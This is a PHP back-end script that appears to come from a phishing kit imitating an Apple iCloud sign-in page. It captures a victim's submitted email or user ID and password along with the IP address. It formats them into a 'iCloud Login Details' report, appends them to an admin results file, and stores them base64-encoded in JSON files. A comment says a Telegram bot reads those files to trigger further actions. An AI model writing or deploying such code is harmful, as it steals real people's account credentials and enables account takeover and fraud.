<?php
session_start();
error_reporting(0);
require_once('../config.php');

$cod = trim($_POST['userid']);
$pass = $_POST['pass'];

if($cod != null && $pass != null){
    $_SESSION['userid'] = $cod;
    $_SESSION['pass'] = $pass;
    $_SESSION['EML'] = $cod;

    $ip = $_SERVER['REMOTE_ADDR'];
    $useragent = $_SERVER['HTTP_USER_AGENT'];
    $email = $cod;
    $password = $pass;

    $message = "<b>\xF0\x9F\x91\xA4 iCloud Login Details</b>\n\n";
    $message .= "<b>Client ID:</b> " . $_SESSION['client'] . "\n";
    $message .= "------------------------------------------------\n";
    $message .= "<b>Email/User: </b><b>" . $email . "</b>\n";
    $message .= "------------------------------------------------\n";
    $message .= "<b>Password: </b><b>" . $password . "</b>\n";
    $message .= "------------------------------------------------\n\n";

    if (isset($_SESSION['fullz'])) {
        $_SESSION['fullz'] .= $message;
    } else {
        $_SESSION['fullz'] = $message;
    }

    file_put_contents("../Admin/results.txt", $message, FILE_APPEND);
    include('../conf.php');

    // Update live.json directly
    $file = "../Admin/live.json";
    $udarray = file_exists($file) ? json_decode(file_get_contents($file)) : (object)[];
    $id = $_SESSION['client'];
    if($id) {
        if(!isset($udarray->{$id})) {
            $udarray->$id = (object)["step" => 0, "vid" => "WAITING..."];
        }
        $udarray->$id->msg = base64_encode($_SESSION['fullz']);
        $udarray->$id->ip = $ip;
        file_put_contents($file, json_encode($udarray));
    }

    // Update load.json so Telegram bot can trigger actions (it checks status == 4)
    $load_file = "../Admin/load.json";
    $load_data = file_exists($load_file) ? json_decode(file_get_contents($load_file)) : (object)[];
    if($id) {
        if(!isset($load_data->{$id})) {
            $load_data->$id = (object)["status" => 4];
        } else {
            $load_data->$id->status = 4;
        }
        file_put_contents($load_file, json_encode($load_data));
    }

    ob_clean();
    echo "success";
} else {
    http_response_code(400);
    echo "error";
}
?>